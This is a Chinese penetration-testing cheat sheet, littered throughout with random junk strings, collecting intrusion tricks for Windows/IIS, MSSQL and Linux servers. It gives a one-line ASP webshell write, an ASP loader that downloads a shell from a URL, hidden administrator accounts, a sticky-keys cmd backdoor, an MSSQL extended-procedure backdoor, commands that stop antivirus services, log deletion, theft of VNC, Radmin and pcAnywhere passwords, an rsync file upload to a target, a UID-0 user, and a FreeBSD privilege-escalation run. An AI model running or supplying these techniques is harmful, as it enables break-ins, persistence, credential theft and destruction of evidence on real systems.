渗透技巧总结

admin

旁站路径问题
1、读网站配置。
2、用以下VBS
On Error Resume Next
. `) W6 _) T& I4 }" vIf (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        

Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

Usage:Cscript vWeb.vbs",4096,"Lilo"
' ]0 O4 ?( P0 V$ Y; Q' \, N2 X        WScript.Quit
% q: N2 Q: ^8 X+ g8 a  P, lEnd If
) Z9 f0 a2 u' g- m& b! y5 JSet ObjService=GetObject
/ K/ ~% t2 c, U! [# ~: S/ s
("IIS://LocalHost/W3SVC")
% G0 w) @% f" J* F6 qFor Each obj3w In objservice
0 v$ T8 m' i) R; a/ F        If IsNumeric(obj3w.Name)
; b+ ], x5 x" @5 u7 Z" w
Then
1 t6 c# {0 {' u4 j7 @                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
         
. S( V4 n, B3 k
& H" d0 M0 M! x+ F, T8 S* E) @       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
* t, \  Q9 }0 ~: H) o2 T                If Err

<> 0 Then WScript.Quit (1)
0 N, _% V9 O9 m+ u4 ~                WScript.Echo Chr(10) & "[" &

# v# W/ b- f$ C* @0 M! sOService.ServerComment & "]"
                For Each Binds In OService.ServerBindings
1 _' z/ h& C7 `     
' o  Q9 K6 R, V+ f$ t( ?( F' d
: y- H6 H  _4 q9 t) O                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
3 d& w( Y% [, k; I! H* b) e, U                        

% j2 H4 g/ V1 l! n. IWScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
( s& G+ R  B& o                Next
      
* N  i, i* t% V5 D
         WScript.Echo "ath            : " & VDirObj.Path
        End If
8 j& H: D2 d0 q- a# ~! G3 {Next
, R; ~% Q; A8 U4 n7 M1 v复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
: _/ Q" T- ?+ E- X4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
WordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
  w7 g3 {$ S, L# _url/wp-content/plugins/akismet/hello.php
+ P% y+ E& g: B——————————————————————
phpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
6 ?9 \  \  s& }# wphpMyAdmin/index.php?lang[]=1
3 p! Y  C4 g$ l3 N* z3 _phpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
- }" C' O7 a4 S网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
' G* I& N, N& U7 w7 q3 ~7 A————————————————————
* D3 i- |7 ?$ z: MCMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
9 a" V/ L' M* W5 o  Enetsh ras set user administrator deny #禁止administrator拨入该VPN
( ]8 I% N" c- T) y7 J1 q# Onetsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
" D' m" g# Y- j/ C, G* n% `5 X5 S命令行下添加SQL用户的方法
7 q# {* H' @7 P( ^3 B4 [需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
  _2 Z; s$ X, t: j" {. Oexec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
' J3 g1 l& D' @' W- }js:
/ z, `+ a) G7 g& B) Svar o=new ActiveXObject( "Shell.Users" );
. S% }0 S. w" ^) l, n, Jz=o.create("test") ;
9 i; H3 C6 o5 Y. X  _  ^z.changePassword("123456","")
z.setting("AccountType")=3;

# r  J5 i( T: ?3 W5 i5 uvbs:
$ |" r) A7 }' FSet   o=CreateObject( "Shell.Users" )
5 Z# g  w' w- l4 W6 D3 ASet z=o.create("test")
; t9 }* N/ w$ R9 S' Hz.changePassword "123456",""
z.setting("AccountType")=3
——————————————————
: u8 o' K) e( H' b9 Bcmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

( J' Y# U, p  H( g9 n# M0 F+ V命令如下
  J0 _9 ]" R! s5 K& R) [, g5 {cacls c: /e /t /g everyone:F           #c盘everyone权限
cacls "目录" /d everyone               #everyone不可读，包括admin
————————以下配合PR更好————
3389相关
" o  r, @+ q# Z! Z/ o% N# p9 M! x9 ka、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
/ N* R& q5 [  ?, ^* j! wb、内网环境（LCX）
$ p( ^% Z1 I# O$ s0 k7 Oc、终端服务器超出了最大允许连接
XP 运行mstsc /admin
, E. R, N! T. o1 [$ E6 ]  s2003 运行mstsc /console   
6 [) ?$ ~  V2 i0 X
杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
net stop "Symantec AntiVirus" /y
net stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y

卖咖啡：net stop "McAfee McShield"
! J1 ~3 V3 Z9 ]0 j0 F4 ?: ^————————————————————
3 `6 b* t& F/ e$ X9 f
5次SHIFT：
! ~2 @8 w, Y7 scopy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
1 q# \( N% M- z——————————————————————
* ?$ ~) G1 X6 |, G. D* H/ `隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
——————————————————————
" v" j8 U5 E& J  }# E% H5 Q: {MSSQL扩展后门：
+ o( R- l6 N* u% Q5 G) BUSE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
5 z/ F5 q: T: u  |- h1 o———————————————————————
日志处理
) t/ c6 X$ @, rC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
( }* j( s& f6 A* @直接删除 ex0111124.log
: \# g1 h0 T5 Z不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
2 N- I: U! I! E$ z  e7 p' G* X0 a当停止msftpsvc服务后可直接删除ex011124.log

MSSQL查询分析器连接记录清除：
MSSQL 2000位于注册表如下：
; p" W; W& {, f& L# Q. K' Z2 e: t. c4 KHKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
( `. i& A- a5 L1 SMSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL
3 m" |* |4 C$ y
. {* Y& d- H3 A! z6 zServer\90\Tools\Shell\mru.dat
9 b8 n5 t6 ]6 l1 V! w5 `  `—————————————————————————
防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
& D+ ~5 @: u! H* h
<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
On Error Resume Next
+ q% q/ d. n) r' {2 B' iSet Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
" z3 ?) r6 H" {! H1 eWith Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
GetRemoteData = .ResponseBody
End With
8 q% P- v4 e( L' b0 e- ASet Retrieval = Nothing
Set Ads = Server.CreateObject("Adodb.Stream")
& c1 J" q; T8 `/ \; L) W& wWith Ads
- c5 I/ P7 u$ u; k, Z! I$ X, Y.Type = 1
+ D& D$ J* Y9 V, H+ j1 C  I.Open
.Write GetRemoteData
+ f. v3 x: C4 Z, d$ E7 e( Q.SaveToFile Server.MapPath(s_LocalFileName), 2
* Y0 r2 Z" h5 B9 Z7 z. x! [# ~.Cancel()
.Close()
End With
Set Ads=nothing
End Sub

eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>

* p- D) h9 c2 N( t, _VNC提权方法:
利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
) b% s6 r0 y: B; ]' v7 d注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
- a8 E$ w( \# K6 l# j( aregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
/ i; x, [9 ~6 L' Q- {2 ^) S2 vRadmin 默认端口是4899，
8 D4 u  V' d0 ~9 eHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
* X% z: ^% ?& |: ^& |  NHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
Users\Application Data\Symantec\pcAnywhere\文件夹下。
: P( U$ r. Y9 X, r/ `——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
! T9 ]" |' `, \( B: D来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
没有删cmd组建的直接加用户。
" n8 M+ J. V; k/ R+ g! {; `5 e7i24的web目录也是可写，权限为administrator。
' R8 S$ `( w9 i7 ?% x; b, @; j* N
2 U8 ?' ]# [/ V1433 SA点构建注入点。
7 g1 ~/ |3 n9 ~3 D* j* @, t. g2 l* l<%
strSQLServerName = "服务器ip"
strSQLDBUserName = "数据库帐号"
; b6 x- v; N. v7 Y5 KstrSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
, U4 F% N8 S3 WSet conn = Server.createObject("ADODB.Connection")
) ^( R" L, S( V9 O* w5 Q3 vstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
+ p& j% \- w0 G; Y4 s
";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &

strSQLDBName & ";"
) N5 U+ H3 c; \3 I$ ^conn.open strCon
dim rs,strSQL,id
/ G& k# F, q# Y/ @8 f' N+ Aset rs=server.createobject("ADODB.recordset")
id = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
# I9 W& ~/ G4 C& B  M7 W%>
复制代码
******liunx 相关******
一.ldap渗透技巧
1.cat /etc/nsswitch
# V( ^2 _& F; |) c* J$ \看看密码登录策略我们可以看到使用了file ldap模式

: m' s% f: W1 ~, ]5 Q& J# a- ^2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置

3.查找管理员信息
匿名方式
3 b# l/ `+ b, j. h. i3 \ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
+ T9 {" k2 e- i9 B" m$ a9 c+ Y# M
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
  N$ H0 W4 W" v7 ]/ O# dldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
& E& Z! a- E0 d% L9 ]0 o- c9 I
# X+ Z$ r! T- j- N8 C"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
# s& \# W' O/ @+ n
- l' z+ Z7 _$ x; d' v: F0 s6 K
  v+ M& B; n8 @/ C8 G  ^4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

实战:
0 J6 }' ~6 ?% I; V  @, ]6 h1.cat /etc/nsswitch
! Z5 W8 U. i- _. A6 l8 V看看密码登录策略我们可以看到使用了file ldap模式
7 q5 v2 C( _. N
1 O' J5 L# j  X2.less /etc/ldap.conf
* m# x& \) W; Z$ ^0 Ibase ou=People,dc=unix-center,dc=net
. N- A+ \, r+ b  I0 ^; f( L找到ou,dc,dc设置

3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
& e! J! I& I; S7 Q6 I
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
: i# i1 m$ n% O; \6 Z4 P
! o7 ]" K% d& l9 a4 ]5 {"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
0 V/ l% x8 L) ^( C+ V2 G9 i

4.查找10条用户记录
& h7 D8 h( |' V! m; j$ Mldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
4 Q6 f$ f* @& |# D* C" s
1 Z* Z1 L6 M2 G: [/ e0 N. F3 L渗透实战:
1.返回所有的属性
ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
version: 1
; _) U1 u, C  a$ x  @) n$ J# jdn: dc=ruc,dc=edu,dc=cn
4 h1 j2 T% r7 C/ h) S$ e- @dc: ruc
- [0 X5 o5 `% P7 _objectClass: domain

: s, o) l' [- O( t* E/ P* W4 [2 mdn: uid=manager,dc=ruc,dc=edu,dc=cn
3 z. f6 c- V. B# ~! l- @2 Cuid: manager
& u) N$ A& z+ F9 s8 qobjectClass: inetOrgPerson
objectClass: organizationalPerson
" N/ a+ |/ H2 ?- lobjectClass: person
$ W$ ?5 r; T0 N; d- HobjectClass: top
% w6 U4 p& ?- ~3 U# A! F% r5 Esn: manager
cn: manager

7 x1 j+ S' T7 cdn: uid=superadmin,dc=ruc,dc=edu,dc=cn
' o* s# `0 i0 i$ x! iuid: superadmin
objectClass: inetOrgPerson
. i0 ]# v% t6 |3 C' bobjectClass: organizationalPerson
objectClass: person
) X, h. P3 R, U! Z+ {, A* n" zobjectClass: top
sn: superadmin
cn: superadmin
  ~" T! ~+ r0 J, _  ~" k3 m2 A8 ?
dn: uid=admin,dc=ruc,dc=edu,dc=cn
5 U( W1 w4 A" S+ j; g. {" puid: admin
objectClass: inetOrgPerson
' A8 K; w  @  k" ~- Y7 i: tobjectClass: organizationalPerson
: q7 d, P8 n3 L- XobjectClass: person
( ^6 Q  j* P% I+ TobjectClass: top
* c/ D8 Z4 K' M0 B8 Gsn: admin
0 O, V0 b) j1 b. D" kcn: admin
& e2 O* j7 p" i8 b5 I4 H3 d" u
dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
- L- N7 O% `& n& `7 i4 ]2 @: wuid: dcp_anonymous
objectClass: top
( z4 O0 }: z& }& c( _, oobjectClass: person
7 b) L0 S4 _7 i+ lobjectClass: organizationalPerson
- m8 C% ?: U* [  N3 YobjectClass: inetOrgPerson
4 e$ \  z# R7 m' h7 g' ?) A) H- Q1 ~sn: dcp_anonymous
cn: dcp_anonymous
- s* ^/ Z' g; o& P! ?& @8 N1 }. V
, O' }  G8 C1 Z0 D2 v* a# N2.查看基类
# I! w* _5 g7 h1 b* q: Ibash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |

more
( e* G! q/ h7 wversion: 1
: e! U( H( j0 Tdn: dc=ruc,dc=edu,dc=cn
dc: ruc
+ @! y% Y& }3 `8 \objectClass: domain

3.查找
2 \$ j: m- o/ l0 q; I8 |- gbash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
3 }' K; |. i" a  ~5 sversion: 1
# @- Q* o( K" a# _. Q! p! hdn:
objectClass: top
. x2 M. M; m4 D( vnamingContexts: dc=ruc,dc=edu,dc=cn
supportedExtension: 2.16.840.1.113730.3.5.7
5 Y4 F0 C7 f' z: }9 }; wsupportedExtension: 2.16.840.1.113730.3.5.8
8 w8 S# `3 o3 o9 u& ^3 A! E3 V; u! ?supportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
supportedExtension: 2.16.840.1.113730.3.5.3
supportedExtension: 2.16.840.1.113730.3.5.5
- G+ {# n' M, e% @supportedExtension: 2.16.840.1.113730.3.5.6
5 s" u! ?2 S7 p% CsupportedExtension: 2.16.840.1.113730.3.5.4
6 P% S& Y* T6 d# B( X' t6 csupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
3 l  _! N' D! Y* l2 vsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
$ k- h# Z0 a0 Y7 H  _1 p- `9 I! ksupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
! g' f: U/ W' FsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
* i* T. G9 D: f( ]7 p. ZsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
, R7 @- `6 w" a5 M/ U+ \supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
9 d9 S( g( J& B; W1 a$ LsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
" }. }/ D) d) f, _" d1 T- u/ xsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
0 }4 G' Q4 @) @& Y% zsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
/ c! Q+ G0 T2 W; i/ {supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
3 f3 M+ \: o4 ~3 n. f, p# R; XsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
5 y/ q4 {3 r/ j* }supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
/ s+ Z/ p2 w( F$ {- @  YsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
2 v$ u) N, B% J& AsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
" c8 T! @7 N0 U$ \/ qsupportedExtension: 1.3.6.1.4.1.1466.20037
supportedExtension: 1.3.6.1.4.1.4203.1.11.3
8 g. X! ?4 h% d5 T6 QsupportedControl: 2.16.840.1.113730.3.4.2
; N1 j) V% a- l) p0 zsupportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
: T8 G9 Z  J$ h9 qsupportedControl: 2.16.840.1.113730.3.4.5
8 N- q1 W: l1 K4 J2 jsupportedControl: 1.2.840.113556.1.4.473
* X0 a. [$ C3 }' h. U! C; X, I2 t0 W9 [supportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.16
1 z5 d7 q4 G- d% L% M- H+ PsupportedControl: 2.16.840.1.113730.3.4.15
. z7 s. R! V( EsupportedControl: 2.16.840.1.113730.3.4.17
9 ^; v' @& [% S2 K, T; BsupportedControl: 2.16.840.1.113730.3.4.19
7 a7 M5 w8 I: F5 E. MsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
) L; U  W: i0 _% l: PsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
- C- _; O. v7 w  @( X3 ]% H! M& BsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
3 {/ K! r' F  L2 E; p" LsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
& d- i' D4 m6 P) Q6 |/ V9 |supportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
* y  F. `9 L. g0 Z: [0 ysupportedControl: 2.16.840.1.113730.3.4.12
! b1 l% m1 w6 JsupportedControl: 2.16.840.1.113730.3.4.18
! ?# ?9 u' B, n) q" ?supportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 2
& E% e& F5 S5 z$ w8 d# P, UsupportedLDAPVersion: 3
% A6 ^* Z: z9 i) d, K" P" U8 @vendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
$ G% _. t3 |; h+ ]3 T. wdataversion: 020090516011411
2 l( y  j) K& m  }: _/ r* P+ hnetscapemdsuffix: cn=ldap://dc=webA:389
- Y+ n. W$ Y# y3 U% VsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
6 v" c' P8 R, U9 Y/ |) M; msupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
% z, z5 n- ~( Q5 g  Y# {; I! }supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
" n7 o% n8 z# Y5 \supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
  c% x& w4 U( p. xsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
/ m7 M- M# L3 l0 S1 isupportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
2 O* r) [+ i) }" r+ xsupportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
6 c, {0 K& S: `4 GsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
% u* `3 \. B8 L8 z% @supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
' W. t- u4 c8 m$ X  j( bsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
% w4 ]5 `$ Q, i2 t- J" YsupportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
9 j' I( V1 y( u; x. X/ V& ssupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
& j' B! Z/ d& V7 M) @7 zsupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
0 n( j) H" v  r( N6 SsupportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
9 n3 M8 v2 H& _( t' p% h) J/ a/ ?supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
3 C4 {8 Y+ b; L5 t( ?$ X, ssupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
" W1 R9 i0 W8 \3 [9 ZsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
" X) c1 L5 r7 O( PsupportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
4 Y. H' N1 M7 R, i, l$ JsupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
/ T8 J: S; Q# M' u' xsupportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
2. NFS渗透技巧
showmount -e ip
列举IP
——————
7 a1 i% ?4 O- A3 X( w3.rsync渗透技巧
" J* Q% C2 P% q8 X, Q4 J3 |* D1 J' ]1.查看rsync服务器上的列表
rsync 210.51.X.X::
0 {: s$ z1 H! M  ^) g  ~) x+ K5 Jfinance
' ?7 o  p( e; Vimg_finance
auto
2 Y6 x* {9 u$ simg_auto
html_cms
img_cms
ent_cms
5 w0 _8 [/ B% C5 N  c' Kent_img
ceshi
! b$ F9 ~5 m1 G* |: |res_img
res_img_c2
chip
7 \1 T, ~" l" v1 Q& `% y' T, l% I! Achip_c2
% b+ Y5 y2 s8 B3 J- A6 Xent_icms
games
gamesimg
4 l8 ^  X8 M& {& c7 }$ ?* M& K2 i  ymedia
/ V) Z. {8 Z7 _9 Umediaimg
2 B. R3 {2 j( [1 ~. p/ V7 Ufashion
/ K6 h. n, r4 v5 w+ c5 \4 jres-fashion
res-fo
! f6 T# @8 W+ c8 k9 L, }taobao-home
/ R: t6 z2 D3 ?* dres-taobao-home
house
% T0 v1 M  ^0 j6 Q9 m9 bres-house
res-home
* @1 I+ X$ ?/ Z, l: p1 J+ _res-edu
% e/ y* }' `0 H- G4 s$ y: w- Cres-ent
, t6 P- M4 _% Cres-labs
, B$ I1 U, i1 P0 ^# Ares-news
0 A: T& j. [& x5 A% t5 a- _1 yres-phtv
res-media
0 w1 ]' K1 p( l' ]8 t4 k) i: Vhome
edu
news
) r/ X6 E& l8 [/ A- kres-book

看相应的下级目录(注意一定要在目录后面添加上/)
2 G: k1 X3 T+ b! D. @5 t; l9 H

rsync 210.51.X.X::htdocs_app/
- @/ R# S$ |/ T1 [! trsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/

2.下载rsync服务器上的配置文件
2 v! x; K2 t, G4 {) {( S, f) ursync -avz 210.51.X.X::htdocs_app/ /tmp/app/
' ?: s8 d& t0 C- ?% N/ n
( g1 U! o2 C" `; \0 U3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
# T# H  l$ n. [4 r0 chttp://app.finance.xxx.com/warn/nothack.txt
: R* g  u9 C3 T6 q1 P
! D+ ~+ W3 Z  i/ H四.squid渗透技巧
nc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
GET HTTP://WWW.sina.com:22 / HTTP/1.0
  h; T5 i# @2 c+ M( p4 k  I& s  w五.SSH端口转发
  o5 g# d- m! ?- |. Dssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
1 J* D& h/ d; O
六.joomla渗透小技巧
确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-

) {) Z7 W! g& W. ?8 P! z: C, `15&catid=32:languages&Itemid=47

" U! _; G3 \9 m* z' _1 E重新设置密码
index.php?option=com_user&view=reset&layout=confirm

七: Linux添加UID为0的root用户
useradd -o -u 0 nothack
/ y$ v- ]: w- J# ~* G
1 ^8 W- c4 k, }+ H/ R8 H八.freebsd本地提权
[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
+ E8 r/ {6 F! H! N! Y' R$ J* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
* [argp@julius ~]$ id
6 _9 c' t1 l7 b! E! [0 s* uid=1001(argp) gid=1001(argp) groups=1001(argp)
  c0 Y" E' t+ A; n/ e* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
) Y# y! L; {5 w8 I* [argp@julius ~]$ ./nfs_mount_ex
*
